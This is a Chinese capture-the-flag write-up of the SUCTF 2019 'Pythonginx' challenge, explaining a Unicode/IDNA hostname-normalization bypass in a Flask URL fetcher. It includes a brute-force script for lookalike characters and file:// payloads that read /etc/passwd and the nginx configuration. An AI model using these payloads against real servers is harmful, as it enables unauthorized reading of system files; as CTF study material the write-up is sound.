1. 程式人生 > 其它 >[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

技術標籤:Webphp安全

前言

文章所涉及的資料來自網際網路整理和個人總結,意在於個人學習和經驗彙總,如有什麼地方侵權,請聯絡本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!

題目

在這裡插入圖片描述
題目還給了個原始碼

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl =
urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333"

s
大概就是需要繞過前2個if直到最後的if來進行讀取任意檔案,但這3個if都需要等於suctf.cc
我莫得辦法了,去看了看wp,大佬說這是有關blackhat議題HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization的題目,議題PPT連結如下:

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
反正我是看不懂,但看了大佬的操作,差不多就明白一點了,無非就是當URL 中出現一些特殊字元的時候,輸出的結果可能不在預期這句話。
大佬文章連結:https://www.cnblogs.com/Cl0ud/p/12187204.html

做法就是將suctf.cc其中一個字元(這裡做題選定的是該字串最後一個字元c),更改為其它特殊字元,再進行編碼,便可達到逃逸該指令碼構造的語句。
借大佬的指令碼:

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

可能講述的會有些含糊,因為現在做題的我也是半知半懂,但是看了下面的payload可能就明白了
在這裡插入圖片描述
我們只需要用其中任意一個去讀取檔案就可以了
比如:

getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/etc/passwd

在這裡插入圖片描述
url中原本最後一個c的位置,更改為類c的特殊字元就能檢視任意檔案
然後wp說需要看nginx的配置檔案才能知道flag在哪裡

getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/…/usr/local/nginx/conf/nginx.conf

在這裡插入圖片描述
然後讀取flag
在這裡插入圖片描述